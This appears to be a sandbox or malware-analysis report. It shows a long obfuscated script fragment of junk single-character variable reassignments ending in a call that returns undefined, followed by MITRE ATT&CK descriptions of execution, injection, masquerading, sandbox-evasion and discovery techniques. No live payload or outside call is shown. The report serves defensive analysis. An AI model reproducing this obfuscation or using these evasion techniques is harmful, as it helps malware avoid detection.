287	pctrjzs = "V";
288	pctrjzs = "Y";
289	pctrjzs = "i";
290	pctrjzs = "S";
291	pctrjzs = "h";
292	pctrjzs = "_";
293	vqjcoikc = "H";
294	vqjcoikc = "L";
295	vqjcoikc = "L";
296	vqjcoikc = "l";
297	vqjcoikc = "U";
298	vqjcoikc = "h";
299	pshzfm = "y";
300	pshzfm = "t";
301	wqhmmycz = "T";
302	wqhmmycz = "A";
303	wqhmmycz = "a";
304	wqhmmycz = "r";
305	wqhmmycz = "D";
306	wqhmmycz = "W";
307	wqhmmycz = "I";
308	wqhmmycz = "X";
309	wqhmmycz = "a";
310	wqhmmycz = "c";
311	wqhmmycz = "s";
312	wqhmmycz = "D";
313	wqhmmycz = "m";
314	wqhmmycz = "t";
315	wqhmmycz = "T";
316	wqhmmycz = "N";
317	wqhmmycz = "Y";
318	wqhmmycz = "S";
319	wqhmmycz = "D";
320	wqhmmycz = "g";
321	ycdgdbxw = "z";
322	ycdgdbxw = "G";
323	ycdgdbxw = "k";
324	ycdgdbxw = "t";
325	ycdgdbxw = "X";
326	ycdgdbxw = "p";
327	ycdgdbxw = "R";
328	ycdgdbxw = "q";
329	ycdgdbxw = "d";
330	ycdgdbxw = "G";
331	ycdgdbxw = "S";
332	ycdgdbxw = "d";
333	ycdgdbxw = "J";
334	ycdgdbxw = "c";
335	ycdgdbxw = "T";
336	ycdgdbxw = "M";
337	ycdgdbxw = "C";
338	ycdgdbxw = "z";
339	ycdgdbxw = "s";
340	ycdgdbxw = "m";
341	ycdgdbxw = "Z";
342	ycdgdbxw = "N";
343	ycdgdbxw = "c";
344	ycdgdbxw = "l";
345	crqtx = "Z";
346	crqtx = "p";
347	crqtx = "Z";
348	crqtx = "b";
349	crqtx = "R";
350	crqtx = "o";
351	crqtx = "M";
352	crqtx = "a";
353	crqtx = "t";
354	crqtx = "V";
355	crqtx = "K";
356	crqtx = "L";
357	crqtx = "x";
358	crqtx = "d";
359	crqtx = "x";
360	crqtx = "q";
361	crqtx = "k";
362	crqtx = "Y";
363	crqtx = "B";
364	crqtx = "J";
365	crqtx = "P";
366	crqtx = "a";
367	crqtx = "m";
368	crqtx = "p";
369	crqtx = "I";
370	crqtx = "R";
371	crqtx = "B";
372	crqtx = "X";
373	crqtx = "X";
374	crqtx = "Z";
375	crqtx = "u";
376	crqtx = "b";
377	crqtx = "w";
378	crqtx = "f";
379	yvifbjdj = "b";
380	yvifbjdj = "u";
381	yvifbjdj = "z";
382	yvifbjdj = "V";
383	yvifbjdj = "t";
384	yvifbjdj = "u";
385	yvifbjdj = "a";
386	yvifbjdj = "X";
387	yvifbjdj = "e";
388	yvifbjdj = "n";
389	yvifbjdj = "G";
390	yvifbjdj = "n";
391	yvifbjdj = "c";
392	yvifbjdj = "U";
393	yvifbjdj = "r";
394	yvifbjdj = "k";
395	yvifbjdj = "C";
396	yvifbjdj = "V";
397	yvifbjdj = "B";
398	yvifbjdj = "i";
399	yvifbjdj = "F";
400	yvifbjdj = "n";
401	yvifbjdj = "c";
402	yvifbjdj = "p";
403	yvifbjdj = "u";
404	yvifbjdj = "I";
405	yvifbjdj = "E";
406	yvifbjdj = "I";
407	yvifbjdj = "v";
408	yvifbjdj = "s";
409	yvifbjdj = "q";
410	xyhstmu = "K";
411	xyhstmu = "b";
412	quiuw = "R";
413	quiuw = "Z";
414	quiuw = "U";
415	quiuw = "o";
416	quiuw = "V";
417	quiuw = "N";
418	quiuw = "G";
419	quiuw = "g";
420	quiuw = "u";
421	quiuw = "t";
422	quiuw = "W";
423	quiuw = "c";
424	quiuw = "L";
425	vyyhz = "E";
426	vyyhz = "M";
427	vyyhz = "v";
428	vyyhz = "k";
429	vyyhz = "j";
430	vyyhz = "t";
431	vyyhz = "c";
432	vyyhz = "r";
433	vyyhz = "f";
434	vyyhz = "k";
435	qmkerlhf = "j";
436	qmkerlhf = "l";
437	qmkerlhf = "y";
438	qmkerlhf = "W";
439	qmkerlhf = "\"";
440	umwgtgtfh = "C";
441	umwgtgtfh = "d";
442	umwgtgtfh = "z";
443	umwgtgtfh = "b";
444	umwgtgtfh = "q";
445	umwgtgtfh = "V";
446	umwgtgtfh = "v";
447	umwgtgtfh = "I";
448	umwgtgtfh = "n";
449	umwgtgtfh = "z";
450	umwgtgtfh = "E";
451	umwgtgtfh = "j";
452	umwgtgtfh = "w";
453	umwgtgtfh = "P";
454	umwgtgtfh = "K";
455	umwgtgtfh = "f";
456	umwgtgtfh = "r";
457	umwgtgtfh = "M";
458	umwgtgtfh = "j";
459	umwgtgtfh = "M";
460	umwgtgtfh = "t";
461	umwgtgtfh = "B";
462	umwgtgtfh = "A";
463	umwgtgtfh = "I";
464	umwgtgtfh = "1";
465	ctyfbmgiw = "O";
466	ctyfbmgiw = "b";
467	ctyfbmgiw = "R";
468	ctyfbmgiw = "o";
469	ctyfbmgiw = "v";
470	ctyfbmgiw = "V";
471	ctyfbmgiw = "G";
472	ctyfbmgiw = "U";
473	ctyfbmgiw = "m";
474	buximnh = "U";
475	buximnh = "z";
476	buximnh = "t";
477	buximnh = "p";
478	buximnh = "i";
479	buximnh = "N";
480	buximnh = "T";
481	buximnh = "F";
482	buximnh = "J";
483	buximnh = "P";
484	buximnh = "o";
485	hfykmb = "G";
486	hfykmb = "H";
487	hfykmb = "q";
488	hfykmb = "N";
489	hfykmb = "t";
490	hfykmb = "p";
491	hfykmb = "N";
492	hfykmb = "V";
493	hfykmb = "V";
494	hfykmb = "0";
495	fisscjn = "i";
496	fisscjn = "&";
497	ejtlrh = "H";
498	ejtlrh = "W";
499	ejtlrh = "y";
500	ejtlrh = "S";
501	ejtlrh = "B";
502	ejtlrh = "J";
503	ejtlrh = "M";
504	ejtlrh = "P";
505	ejtlrh = "V";
506	ejtlrh = "R";
507	ejtlrh = "p";
508	ejtlrh = "F";
509	ejtlrh = "M";
510	ejtlrh = "l";
511	ejtlrh = "E";
512	ejtlrh = "Q";
513	ejtlrh = "G";
514	ejtlrh = "h";
515	ejtlrh = "j";
516	ejtlrh = "i";
517	mxrhlogjl = "J";
518	mxrhlogjl = "P";
519	mxrhlogjl = "g";
520	mxrhlogjl = "f";
521	mxrhlogjl = "O";
522	mxrhlogjl = "G";
523	mxrhlogjl = "S";
524	mxrhlogjl = "L";
525	mxrhlogjl = "W";
526	mxrhlogjl = "C";
527	mxrhlogjl = "G";
528	mxrhlogjl = "q";
529	mxrhlogjl = "7";
530	xcixi = "n";
531	xcixi = "G";
532	xcixi = "M";
533	xcixi = "a";
534	xcixi = "E";
535	xcixi = "z";
536	xcixi = "p";
537	xcixi = "E";
538	xcixi = "y";
539	xcixi = "L";
540	xcixi = "s";
541	xcixi = "L";
542	xcixi = "I";
543	xcixi = "i";
544	xcixi = "j";
545	xcixi = "m";
546	xcixi = "a";
547	xcixi = "O";
548	xcixi = "N";
549	xcixi = "u";
550	xcixi = "H";
551	xcixi = "G";
552	xcixi = "n";
553	xcixi = "v";
554	xcixi = "M";
555	xcixi = "N";
556	xcixi = "o";
557	xcixi = "Z";
558	xcixi = "z";
559	xcixi = "M";
560	xcixi = "a";
561	xcixi = "o";
562	xcixi = "T";
563	xcixi = "O";
564	xcixi = "s";
565	xcixi = "O";
566	xcixi = "I";
567	xcixi = "X";
568	xcixi = "q";
569	xcixi = "R";
570	xcixi = "r";
571	xcixi = "E";
572	xcixi = "W";
573	xcixi = "E";
574	mflnqo = "p";
575	mflnqo = "w";
576	mflnqo = "H";
577	mflnqo = "K";
578	mflnqo = "b";
579	mflnqo = "z";
580	mflnqo = "y";
581	mflnqo = "W";
582	mflnqo = "W";
583	mflnqo = "Y";
584	mflnqo = "G";
585	mflnqo = "k";
586	mflnqo = "g";
587	mflnqo = "H";
588	mflnqo = "z";
589	mflnqo = "Q";
590	mflnqo = "U";
591	mflnqo = "M";
592	mflnqo = "P";
593	mflnqo = "K";
594	mflnqo = "J";
595	mflnqo = "m";
596	mflnqo = "P";
597	mflnqo = "J";
598	mflnqo = "C";
599	mflnqo = "J";
600	mflnqo = "B";
601	mflnqo = "o";
602	mflnqo = "c";
603	hdvqendw = "i";
604	hdvqendw = "O";
605	hdvqendw = "l";
606	hdvqendw = "j";
607	hdvqendw = "D";
608	hdvqendw = "f";
609	hdvqendw = "I";
610	hdvqendw = "i";
611	hdvqendw = "a";
612	hdvqendw = "Q";
613	hdvqendw = "X";
614	hdvqendw = "u";
615	hdvqendw = "f";
616	hdvqendw = "m";
617	hdvqendw = "n";
618	hdvqendw = "t";
619	hdvqendw = "X";
620	hdvqendw = "n";
621	hdvqendw = "X";
622	hdvqendw = "T";
623	hdvqendw = "P";
624	hdvqendw = "d";
625	hdvqendw = "J";
626	hdvqendw = "q";
627	hdvqendw = "q";
628	hdvqendw = "Y";
629	hdvqendw = "k";
630	hdvqendw = "w";
631	hdvqendw = "b";
632	hdvqendw = "G";
633	hdvqendw = "M";
634	hdvqendw = "W";
635	hdvqendw = "X";
636	hdvqendw = "D";
637	hdvqendw = "g";
638	hdvqendw = "Q";
639	hdvqendw = "o";
640	hdvqendw = "t";
641	hdvqendw = "C";
642	hdvqendw = "6";
643	folqynep = "w";
644	folqynep = "k";
645	folqynep = "i";
646	folqynep = "T";
647	folqynep = "r";
648	folqynep = "D";
649	folqynep = "g";
650	folqynep = "S";
651	nmnsdez = "v";
652	nmnsdez = "m";
653	nmnsdez = "m";
654	nmnsdez = "E";
655	nmnsdez = "X";
656	nmnsdez = "I";
657	nmnsdez = "n";
658	nmnsdez = "/";
659	rhphzcri = "g";
660	rhphzcri = "b";
661	rhphzcri = "W";
662	rhphzcri = "g";
663	rhphzcri = "R";
664	rhphzcri = "e";
665	rhphzcri = "U";
666	rhphzcri = "g";
667	rhphzcri = "z";
668	rhphzcri = "I";
669	rhphzcri = "O";
670	rhphzcri = "D";
671	rhphzcri = "L";
672	rhphzcri = "Y";
673	rhphzcri = "x";
674	bcizgiwrd = "v";
675	bcizgiwrd = "a";
676	bcizgiwrd = "R";
677	bcizgiwrd = "R";
678	bcizgiwrd = "A";
679	bcizgiwrd = "R";
680	bcizgiwrd = "N";
681	bcizgiwrd = "p";
682	bcizgiwrd = "w";
683	bcizgiwrd = "v";
684	bcizgiwrd = "d";
685	bcizgiwrd = "S";
686	bcizgiwrd = "h";
687	bcizgiwrd = "g";
688	bcizgiwrd = "H";
689	bcizgiwrd = "T";
690	bcizgiwrd = "f";
691	bcizgiwrd = "f";
692	bcizgiwrd = "M";
693	bcizgiwrd = "F";
694	bcizgiwrd = "N";
695	bcizgiwrd = "W";
696	bcizgiwrd = "i";
697	bcizgiwrd = "a";
698	bcizgiwrd = "b";
699	bcizgiwrd = "G";
700	bcizgiwrd = "z";
701	bcizgiwrd = "p";
702	bcizgiwrd = "d";
703	bcizgiwrd = "U";
704	bcizgiwrd = "D";
705	bcizgiwrd = "C";
706	bcizgiwrd = "L";
707	bcizgiwrd = "s";
708	bcizgiwrd = "C";
709	bcizgiwrd = "J";
710	bcizgiwrd = "J";
711	bcizgiwrd = "m";
712	bcizgiwrd = "y";
713	bcizgiwrd = "d";
714	bcizgiwrd = "i";
715	bcizgiwrd = "e";
716	ihrahgywm = "x";
717	ihrahgywm = "d";
718	ihrahgywm = "E";
719	ihrahgywm = "t";
720	ihrahgywm = "V";
721	ihrahgywm = "q";
722	ihrahgywm = "v";
723	ihrahgywm = "h";
724	ihrahgywm = "h";
725	ihrahgywm = "J";
726	ihrahgywm = "R";
727	ihrahgywm = "l";
728	ihrahgywm = "C";
729	ihrahgywm = "i";
730	ihrahgywm = "g";
731	ihrahgywm = "D";
732	ihrahgywm = "T";
733	ihrahgywm = "S";
734	ihrahgywm = "A";
735	ihrahgywm = "h";
736	ihrahgywm = "L";
737	ihrahgywm = "y";
738	ihrahgywm = "d";
739	ihrahgywm = "I";
740	ihrahgywm = "s";
741	ihrahgywm = "b";
742	ihrahgywm = "r";
743	ihrahgywm = "p";
744	ihrahgywm = "u";
745	ihrahgywm = "Q";
746	nklbnb = "R";
747	nklbnb = "y";
748	nklbnb = "E";
749	nklbnb = "N";
750	nklbnb = "k";
751	nklbnb = "m";
752	nklbnb = "e";
753	nklbnb = "T";
754	nklbnb = "G";
755	nklbnb = "G";
756	nklbnb = "T";
757	nklbnb = "U";
758	nklbnb = "Q";
759	nklbnb = "w";
760	nklbnb = "Y";
761	nklbnb = "r";
762	nklbnb = "p";
763	nklbnb = "9";
764	plhyrz = "z";
765	plhyrz = "h";
766	plhyrz = "j";
767	gfviko = "s";
768	gfviko = "y";
769	gfviko = "R";
770	gfviko = "w";
771	gfviko = "r";
772	gfviko = "t";
773	gfviko = "t";
774	gfviko = "z";
775	gfviko = "O";
776	gfviko = "O";
777	gfviko = "G";
778	gfviko = "c";
779	gfviko = "v";
780	gfviko = "f";
781	gfviko = "R";
782	gfviko = "W";
783	gfviko = "b";
784	gfviko = "Y";
785	gfviko = "k";
786	gfviko = "N";
787	gfviko = "p";
788	gfviko = "w";
789	gfviko = "l";
790	gfviko = "E";
791	gfviko = "c";
792	gfviko = "g";
793	gfviko = "i";
794	gfviko = "l";
795	gfviko = "o";
796	gfviko = "G";
797	gfviko = "i";
798	gfviko = "Y";
799	gfviko = "p";
800	gfviko = "d";
801	gfviko = "e";
802	gfviko = "o";
803	gfviko = "Q";
804	gfviko = "N";
805	gfviko = "k";
806	gfviko = "B";
807	gfviko = "t";
808	gfviko = "k";
809	gfviko = "G";
810	gfviko = "u";
811	gfviko = "N";
812	pigyyytk = "s";
813	pigyyytk = "C";
814	pigyyytk = "U";
815	pigyyytk = "Q";
816	pigyyytk = "x";
817	pigyyytk = "Z";
818	pigyyytk = "j";
819	pigyyytk = "W";
820	pigyyytk = "P";
821	pigyyytk = "P";
822	pigyyytk = "J";
823	pigyyytk = "w";
824	pigyyytk = "o";
825	pigyyytk = "L";
826	pigyyytk = "f";
827	pigyyytk = "a";
828	pigyyytk = "y";
829	pigyyytk = "A";
830	pigyyytk = "K";
831	pigyyytk = "Z";
832	pigyyytk = "m";
833	pigyyytk = "J";
834	pigyyytk = "e";
835	pigyyytk = "l";
836	pigyyytk = "L";
837	pigyyytk = "J";
838	pigyyytk = "U";
839	pigyyytk = "t";
840	pigyyytk = "a";
841	pigyyytk = "C";
842	pigyyytk = "f";
843	pigyyytk = "l";
844	pigyyytk = "b";
845	pigyyytk = "I";
846	pigyyytk = "F";
847	pigyyytk = "W";
848	kfkaaeu = "A";
849	kfkaaeu = "X";
850	kfkaaeu = "x";
851	kfkaaeu = "P";
852	kfkaaeu = "t";
853	kfkaaeu = "p";
854	kfkaaeu = "X";
855	kfkaaeu = "L";
856	kfkaaeu = "f";
857	kfkaaeu = "R";
858	kfkaaeu = "Q";
859	kfkaaeu = "V";
860	kfkaaeu = "K";
861	kfkaaeu = "O";
862	kfkaaeu = "T";
863	kfkaaeu = "m";
864	kfkaaeu = "v";
865	kfkaaeu = "o";
866	kfkaaeu = "F";
867	kfkaaeu = "W";
868	kfkaaeu = "M";
869	kfkaaeu = "B";
870	kfkaaeu = "C";
871	kfkaaeu = "n";
872	lrvohc = "l";
873	lrvohc = "i";
874	lrvohc = "I";
875	ndjomoua = "f";
876	ndjomoua = "R";
877	ndjomoua = "H";
878	ndjomoua = "p";
879	ndjomoua = "a";
880	ndjomoua = "A";
881	ndjomoua = "g";
882	ndjomoua = "x";
883	ndjomoua = "u";
884	ndjomoua = "g";
885	ndjomoua = "X";
886	ndjomoua = "S";
887	ndjomoua = "Z";
888	ndjomoua = "e";
889	ndjomoua = "m";
890	ndjomoua = "j";
891	ndjomoua = "D";
892	ndjomoua = "F";
893	ndjomoua = "Z";
894	ndjomoua = "H";
895	ndjomoua = "s";
896	ndjomoua = "M";
897	ndjomoua = "Z";
898	ndjomoua = "j";
899	ndjomoua = "J";
900	ndjomoua = "H";
901	ndjomoua = "v";
902	ndjomoua = "n";
903	ndjomoua = "J";
904	ndjomoua = "G";
905	ndjomoua = "P";
906	ndjomoua = "F";
907	ndxnj = "N";
908	ndxnj = "t";
909	ndxnj = "h";
910	ndxnj = "l";
911	ndxnj = "A";
912	ndxnj = "H";
913	ndxnj = "f";
914	ndxnj = "O";
915	ndxnj = "o";
916	ndxnj = "4";
917	harhp = "O";
918	harhp = "K";
919	harhp = "U";
920	harhp = "z";
921	harhp = "v";
922	harhp = "w";
923	harhp = "e";
924	harhp = "s";
925	harhp = "u";
926	harhp = "V";
927	harhp = "m";
928	harhp = "h";
929	harhp = "x";
930	harhp = "S";
931	harhp = "h";
932	harhp = "m";
933	harhp = "X";
934	harhp = "2";
935	quzpqz = "h";
936	quzpqz = "O";
937	quzpqz = "f";
938	quzpqz = "z";
939	quzpqz = "i";
940	quzpqz = "C";
941	quzpqz = "b";
942	quzpqz = "M";
943	quzpqz = "U";
944	quzpqz = "c";
945	quzpqz = "h";
946	quzpqz = "K";
947	quzpqz = "t";
948	quzpqz = "e";
949	quzpqz = "k";
950	quzpqz = "p";
951	quzpqz = "C";
952	quzpqz = "x";
953	quzpqz = "M";
954	quzpqz = "X";
955	quzpqz = "R";
956	quzpqz = "s";
957	quzpqz = "m";
958	quzpqz = "u";
959	quzpqz = "K";
960	quzpqz = "Y";
961	quzpqz = "E";
962	quzpqz = "d";
963	quzpqz = "L";
964	quzpqz = "G";
965	quzpqz = "t";
966	quzpqz = "c";
967	quzpqz = "n";
968	quzpqz = "T";
969	qweloopk = "J";
970	qweloopk = "l";
971	qweloopk = "Y";
972	qweloopk = "r";
973	qweloopk = "v";
974	qweloopk = "u";
975	qweloopk = "x";
976	qweloopk = "k";
977	qweloopk = "h";
978	qweloopk = "z";
979	qweloopk = "N";
980	qweloopk = "T";
981	qweloopk = "d";
982	qweloopk = "x";
983	qweloopk = "b";
984	qweloopk = "I";
985	qweloopk = "@";
986	ixnnd = "e";
987	ixnnd = "X";
988	ixnnd = "b";
989	ixnnd = "w";
990	ixnnd = "a";
991	ixnnd = "Z";
992	ixnnd = "V";
993	ixnnd = "Z";
994	ixnnd = "P";
995	ixnnd = "v";
996	ixnnd = "Z";
997	ixnnd = "u";
998	ixnnd = "o";
999	ixnnd = "F";
1000	ixnnd = "V";
1001	ixnnd = "x";
1002	ixnnd = "X";
1003	ixnnd = "I";
1004	ixnnd = "Q";
1005	ixnnd = "J";
1006	ixnnd = "R";
1007	ixnnd = "I";
1008	ixnnd = "n";
1009	ixnnd = "w";
1010	juqfuzd = "g";
1011	juqfuzd = "U";
1012	xbgwjucz = "Y";
1013	xbgwjucz = "s";
1014	srgasllje = "x";
1015	srgasllje = "v";
1016	srgasllje = "M";
1017	srgasllje = "R";
1018	srgasllje = "W";
1019	srgasllje = "K";
1020	srgasllje = "i";
1021	srgasllje = "Y";
1022	srgasllje = "m";
1023	srgasllje = "p";
1024	srgasllje = "Z";
1025	srgasllje = "X";
1026	srgasllje = "L";
1027	srgasllje = "m";
1028	srgasllje = "Q";
1029	srgasllje = "w";
1030	srgasllje = "v";
1031	srgasllje = "F";
1032	srgasllje = "a";
1033	srgasllje = "x";
1034	srgasllje = "L";
1035	srgasllje = "T";
1036	srgasllje = "t";
1037	srgasllje = "G";
1038	srgasllje = "Y";
1039	srgasllje = "d";
1040	wawszntqw = "R";
1041	wawszntqw = "j";
1042	wawszntqw = "A";
1043	wawszntqw = "m";
1044	wawszntqw = "g";
1045	wawszntqw = "f";
1046	wawszntqw = "L";
1047	wawszntqw = "j";
1048	wawszntqw = "v";
1049	wawszntqw = "P";
1050	wawszntqw = "b";
1051	wawszntqw = "j";
1052	wawszntqw = "N";
1053	wawszntqw = "x";
1054	wawszntqw = "C";
1055	wawszntqw = "T";
1056	wawszntqw = "p";
1057	fgffi = "D";
1058	fgffi = "Z";
1059	fgffi = "i";
1060	fgffi = "P";
1061	fgffi = "g";
1062	fgffi = "y";
1063	fgffi = "c";
1064	fgffi = "a";
1065	fgffi = "b";
1066	fgffi = "y";
1067	fgffi = "m";
1068	fgffi = "W";
1069	fgffi = "r";
1070	fgffi = "u";
1071	fgffi = "N";
1072	fgffi = "H";
1073	fgffi = "V";
1074	fgffi = "f";
1075	fgffi = "c";
1076	fgffi = "k";
1077	fgffi = "U";
1078	fgffi = "i";
1079	fgffi = "O";
1080	fgffi = "w";
1081	fgffi = "s";
1082	fgffi = "M";
1083	fgffi = "w";
1084	fgffi = "R";
1085	fgffi = "n";
1086	fgffi = "m";
1087	fgffi = "u";
1088	fgffi = ".";
1089	fbexweauz = "M";
1090	fbexweauz = "o";
1091	fbexweauz = "Z";
1092	fbexweauz = "B";
1093	fbexweauz = "h";
1094	fbexweauz = "Z";
1095	fbexweauz = "M";
1096	fbexweauz = "S";
1097	fbexweauz = "y";
1098	fbexweauz = "r";
1099	fbexweauz = "j";
1100	fbexweauz = "I";
1101	fbexweauz = "l";
1102	fbexweauz = "v";
1103	fbexweauz = "y";
1104	fbexweauz = "T";
1105	fbexweauz = "h";
1106	fbexweauz = "r";
1107	fbexweauz = "t";
1108	fbexweauz = "t";
1109	fbexweauz = "X";
1110	fbexweauz = "U";
1111	fbexweauz = "r";
1112	fbexweauz = "T";
1113	fbexweauz = "O";
1114	fbexweauz = "Z";
1115	fbexweauz = "G";
1116	fbexweauz = "A";
1117	fbexweauz = "G";
1118	fbexweauz = "W";
1119	fbexweauz = "T";
1120	fbexweauz = "B";
1121	fbexweauz = "u";
1122	fbexweauz = "u";
1123	fbexweauz = " ";
1124	gepfeung = "v";
1125	gepfeung = "y";
1126	gepfeung = "C";
1127	gepfeung = "e";
1128	gepfeung = "G";
1129	gepfeung = "l";
1130	gepfeung = "W";
1131	gepfeung = "p";
1132	gepfeung = "g";
1133	gepfeung = "V";
1134	gepfeung = "g";
1135	gepfeung = "U";
1136	gepfeung = "D";
1137	gepfeung = "j";
1138	gepfeung = "V";
1139	gepfeung = "L";
1140	gepfeung = "o";
1141	gepfeung = "d";
1142	gepfeung = "M";
1143	gepfeung = "t";
1144	gepfeung = "m";
1145	gepfeung = "e";
1146	gepfeung = "v";
1147	gepfeung = "g";
1148	gepfeung = "F";
1149	gepfeung = "y";
1150	gepfeung = "U";
1151	gepfeung = "e";
1152	gepfeung = "M";
1153	gepfeung = "B";
1154	gepfeung = "X";
1155	gepfeung = "y";
1156	gepfeung = "Y";
1157	phogomtpt = "p";
1158	phogomtpt = "k";
1159	phogomtpt = "L";
1160	phogomtpt = "Y";
1161	phogomtpt = "O";
1162	phogomtpt = "z";
1163	phogomtpt = "R";
1164	phogomtpt = "U";
1165	phogomtpt = "y";
1166	phogomtpt = "T";
1167	phogomtpt = "a";
1168	phogomtpt = "F";
1169	phogomtpt = "s";
1170	phogomtpt = "d";
1171	phogomtpt = "S";
1172	phogomtpt = "Y";
1173	phogomtpt = "I";
1174	phogomtpt = "T";
1175	phogomtpt = "W";
1176	phogomtpt = "M";
1177	phogomtpt = "B";
1178	phogomtpt = "V";
1179	phogomtpt = "P";
1180	phogomtpt = "k";
1181	phogomtpt = "w";
1182	phogomtpt = "A";
1183	phogomtpt = "h";
1184	phogomtpt = "P";
1185	phogomtpt = "O";
1186	phogomtpt = "U";
1187	phogomtpt = "I";
1188	phogomtpt = "\\";
1189	zumckk = "p";
1190	zumckk = "p";
1191	zumckk = "Y";
1192	zumckk = "g";
1193	zumckk = "g";
1194	zumckk = "b";
1195	zumckk = "B";
1196	zumckk = "A";
1197	zumckk = "Y";
1198	zumckk = "C";
1199	mtcne = "I";
1200	mtcne = "L";
1201	mtcne = "n";
1202	mtcne = "O";
1203	mtcne = "b";
1204	mtcne = "x";
1205	mtcne = "A";
1206	mtcne = "D";
1207	mtcne = "i";
1208	mtcne = "L";
1209	mtcne = "t";
1210	mtcne = "t";
1211	mtcne = "u";
1212	mtcne = "X";
1213	mtcne = "v";
1214	mtcne = "A";
1215	mtcne = "q";
1216	mtcne = "y";
1217	mtcne = "t";
1218	mtcne = "S";
1219	mtcne = "o";
1220	mtcne = "W";
1221	mtcne = "T";
1222	mtcne = "C";
1223	mtcne = "s";
1224	mtcne = "P";
1225	mtcne = "H";
1226	mtcne = "j";
1227	mtcne = "5";
1228	zdytw ( );	zdytw() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
